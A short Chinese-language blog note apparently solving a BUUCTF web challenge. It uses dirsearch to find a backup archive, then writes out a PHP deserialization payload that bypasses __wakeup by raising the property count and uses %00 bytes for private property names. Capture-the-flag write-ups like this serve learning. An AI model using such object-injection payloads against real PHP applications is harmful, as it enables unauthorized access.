buuctf
记录一些我的做题笔记
现在以及荒废了
PHP
进来的web网页确实新奇,哈哈。看见题目给的提示是备份网站然后在网上找了一下发现要用dirsearch来查找。dirsearch的使用方法为:在终端上移到下载的dirsearch的路径下,然后执行命令 python.exe dirsearch.py -u http://0c820823-74bf-4def-8e57-fab6bec334c7.node4.buuoj.cn:81 -e php -u后面接上要查询的网页,-e 后面街上查询的语言 例如(php,asp)
然后经过漫长的等待之后发现了有一个www.zip
下载完之后发现有5个文件
flag.php里的flag是假的,然后查看index.php和class.php之后发现这是一道反序列化的题目,大致意思为给变量select赋值,在反序列化select,如何传入的password等于100,username=’admin‘,则返回flag。然后开始序列化。
1 | $a=new Name('admin',100); |
得到序列化之后的代码:O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
注意到有个 _wakeup函数,此函数绕过的魔术方法为将属性个数的值改为大于实际个数的值,就能够绕过 _wakeup函数
即**O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}但是将这个传入之后发现并不正确,查找其他大佬的wp后发现是因为username和admin的值是私有值,在序列化的时候真正的结果为O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}**而在protect下序列化的结果为 **O:4:”Name”:2:{s:11:” * username”;s:5:”admin”;s:11:” * password”;i:100;}**所以在构造payload时应该填充%00在代替空格,即payload为
1 | url+?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |